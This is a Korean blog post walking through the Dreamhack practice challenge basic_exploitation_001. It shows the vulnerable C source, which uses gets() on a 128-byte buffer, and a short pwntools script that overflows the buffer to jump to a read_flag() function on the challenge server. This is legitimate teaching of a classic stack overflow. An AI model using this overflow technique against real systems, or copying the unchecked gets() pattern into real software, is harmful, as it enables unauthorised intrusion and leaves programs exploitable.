외로운 Nova의 작업실

dreamhack 시스템해킹 - 9(basic_exploitation_001 문제풀이) 본문

Computer App Penetesting/System Vulnerability

dreamhack 시스템해킹 - 9(basic_exploitation_001 문제풀이)

Nova_ 2023. 1. 17. 19:59

안녕하세요. 이번시간에는 basic_exploitation_001을 풀어보도록 하겠습니다.

 

- 문제인식

 

이번에는 NX 보호기법이 걸려있어서 스택에 쉘코드를 집어넣고 실행하지 못하는 걸 알 수 있습니다. 운영체제는 우분투 16.04를 쓰고 아키텍처는 i386 아키텍처를 쓰는 것을 알 수 있습니다. 이 환경에서 리버싱을 해서 프로그램의 구조를 알아야되지만 저는 윈도우를 쓰고 있기때문에 불가능합니다. 그에따라 리버싱관련해서 알아내는 것은 다른 페이지를 참조할까합니다.

 

<코드>

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

서버쪽 코드입니다. gets()함수는 사용자의 입력을 검증하지않아 오버플로우가 가능한 함수입니다. 따라서 오버플로우를 일으켜 ret부분에 read_flag()함수의 주소값을 넣어야할 것 같다는 생각이듭니다. 

 

- 문제 풀이

여기서 중요한 부분은 실제 buf의 크기는 얼마이며 read_flag()함수의 주소는 어디인가 입니다. 이를 알아보려면 우분투환경에 32비트가 리버싱가능한 환경이여야하지만 저는 wsl로 우분투를 사용하고있어서 32비트 리버싱이 불가능합니다. 따라서 이는 외부에 답지를 가지고 왔습니다. 먼저 실제 buf의 크기는 0x80인 128바이트였고 read_flag()함수의 주소는 0x080485b9였습니다. 이를 가지고 pwntools를 사용해 해킹코드를 짜보겠습니다.

from pwn import *

p = remote('host3.dreamhack.games', 15775)


payload = b'A' * 128
payload += b'B' * 4
payload += p32(0x080485b9)

p.send(payload)
p.interactive()

이제 이를 실행해보겠습니다.

플래그가 잘 뜨는 것을 확인할 수 있습니다.

Comments